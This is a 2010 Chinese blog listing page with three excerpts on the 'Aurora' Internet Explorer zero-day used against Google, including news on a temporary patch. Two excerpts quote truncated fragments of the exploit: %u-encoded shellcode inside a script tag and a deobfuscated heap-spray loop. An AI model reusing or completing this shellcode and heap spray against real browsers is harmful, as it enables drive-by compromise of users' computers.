天行健，君子以自强不息；
      地势坤，君子以厚德载物；

  • 1 
预览模式: 普通 | 列表

传说中的IE 0day

作者:曲文庆 日期:2010-01-19 08:55

影响IE6-IE8全系列，传说中Google“被入侵”所用到的那份。

<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3

[阅读全文]

类别: 其他 | 引用: 0 | 评论: 0 | 阅读: 9623

极光行动：攻击Google的代码曝光

作者:曲文庆 日期:2010-01-19 08:28

TechWeb旗下的DarkReading发表文章，透露iDefense已经收回之前发布的Adobe PDF漏洞导致Google被攻击的声明，承认McAfee所说的IE漏洞才是祸源。

文章还给出了一个链接，指向开源渗透测试工具项目Metasploit的博客，上面给出了利用这个IE漏洞的攻击代码链接。代码如下：

【去混淆后的代码】


Evals

  • varn=unescape("%u0c0d%u0c0d");while(n.length=524288)n+=n;n=n.substring(0,524269-sc.length);varx=newArray();for(vari=0;i200

[阅读全文]

类别: 电脑杂谈 | 引用: 0 | 评论: 0 | 阅读: 7234

大规模攻击一触即发 360紧急发布IE漏洞补丁

作者:曲文庆 日期:2010-01-19 08:19

　　北京时间1月18日，针对IE浏览器刚刚曝出的名为“极光”的0Day漏洞，360安全中心今日紧急发布独家临时补丁，360用户只要按照安装使用临时补丁，即可使电脑免受针对该漏洞的攻击。

　　==>点此下载“极光”IE 0day漏洞临时补丁

　　此前，微软已证实近期Google等公司遭受的猛烈黑客攻击就是缘于“极光”IE漏洞。目前微软仅提供了临时解决方案，并未发布官方补丁。考虑到该漏洞的巨大危害，一些国家的政府甚至建议民众暂时不要使用IE浏览器上网。而来自黑客论坛的信息也显示，“极光”IE 0d

[阅读全文]

类别: 电脑杂谈 | 引用: 0 | 评论: 0 | 阅读: 4678
  • 1